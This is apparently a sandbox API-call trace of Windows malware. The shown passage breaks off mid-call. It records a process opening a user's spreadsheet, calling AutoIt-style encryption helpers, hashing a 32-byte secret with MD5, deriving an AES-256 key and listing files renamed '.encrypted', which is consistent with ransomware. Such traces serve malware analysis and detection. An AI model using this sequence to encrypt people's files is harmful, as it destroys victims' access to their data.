ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x161e, lpOverlapped=0x0) returned 1 [0025.851] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x161e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.851] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5662) returned 1 [0025.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\tex-fkU3aLzfvTfyy7.encrypted.pptx\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0025.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\tex-fkU3aLzfvTfyy7.encrypted.pptx\r\n", cchWideChar=67, lpMultiByteStr=0xe8f4051130, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\tex-fkU3aLzfvTfyy7.encrypted.pptx\r\n", lpUsedDefaultChar=0x0) returned 67 [0025.851] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a310*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0025.851] CloseHandle (hObject=0x1fc) returned 1 [0025.852] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.852] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.853] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.853] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.853] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.854] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.854] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.854] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.855] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0025.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx", cchWideChar=48, lpMultiByteStr=0xe8f404bf50, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx", lpUsedDefaultChar=0x0) returned 48 [0025.855] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\vlxre2epcij.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0025.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0xe8f4062790, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx") returned 48 [0025.856] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.856] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.856] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.856] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.856] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.857] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.857] CloseHandle (hObject=0x1fc) returned 1 [0025.857] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.857] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.857] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.857] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.857] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.858] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.858] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.858] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.858] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.858] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.858] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.859] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.859] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.859] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.859] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.860] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.860] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.860] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.860] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b660, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.860] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.860] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.861] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.861] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.861] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.861] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.861] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.861] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.862] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.862] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\VLxre2epCIJ.xlsx" (normalized: 